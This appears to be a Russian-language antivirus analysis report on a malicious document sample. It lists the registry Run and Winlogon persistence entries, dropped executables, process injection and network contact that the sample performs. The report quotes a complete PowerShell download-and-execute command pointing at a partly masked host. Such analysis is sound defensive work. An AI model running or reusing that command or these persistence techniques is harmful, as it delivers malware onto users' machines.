Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'skypes' = '%HOMEPATH%\Documents\winskype.exe'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'UserInit' = '<SYSTEM32>\userinit.exe,%HOMEPATH%\Documents\winskype.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'wProPlayer' = '%APPDATA%\uniPlayer\uniPlayer.exe.exe'
Вредоносные функции
Загружает и запускает на исполнение
- http://fu###ash.cloud/tmpl_c/mscalc.exe как %temp%\mscalc.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell.exe (new-object system.net.webclient).downloadfile(' http://fu###ash.cloud/tmpl_c/mscalc.exe','%temp%\mscalc.exe');start-process '%temp%\mscalc.exe'
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\notepad.exe
следующие пользовательские процессы:
- tvlswple.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\mscalc.exe
- %HOMEPATH%\documents\winskype.exe
- %TEMP%\amdcpul.exe
- %TEMP%\audiomle.exe
- %TEMP%\document.pdf
- %TEMP%\monitrgb.exe
- %TEMP%\servwinle.exe
- %TEMP%\tvlswple.exe
- %TEMP%\videogpu.exe
- %TEMP%\windrvams.exe
- <Текущая директория>\~wrd0000.tmp
- <Текущая директория>\~wrd0001.tmp
- %APPDATA%\uniplayer\uniplayer.exe.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %HOMEPATH%\documents\winskype.exe
Удаляет следующие файлы
- %TEMP%\mscalc.exe
- <Текущая директория>\~wrd0000.tmp
Изменяет следующие файлы
Подменяет следующие файлы
- <PATH_SAMPLE>.doc
Изменяет файл HOSTS.
Самоудаляется.
Сетевая активность
Подключается к
- 'fu###ash.cloud':80
UDP
- DNS ASK fu###ash.cloud
Другое
Ищет следующие окна
- ClassName: 'AdobeAcrobat' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\mscalc.exe'
- '%TEMP%\amdcpul.exe'
- '%TEMP%\audiomle.exe'
- '%TEMP%\monitrgb.exe'
- '%TEMP%\servwinle.exe'
- '%TEMP%\tvlswple.exe'
- '%TEMP%\videogpu.exe'
- '%TEMP%\windrvams.exe'
- '%HOMEPATH%\documents\winskype.exe'
- '%WINDIR%\syswow64\notepad.exe' ' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe' "%TEMP%\DOCUMENT.PDF"
- '%WINDIR%\syswow64\notepad.exe'
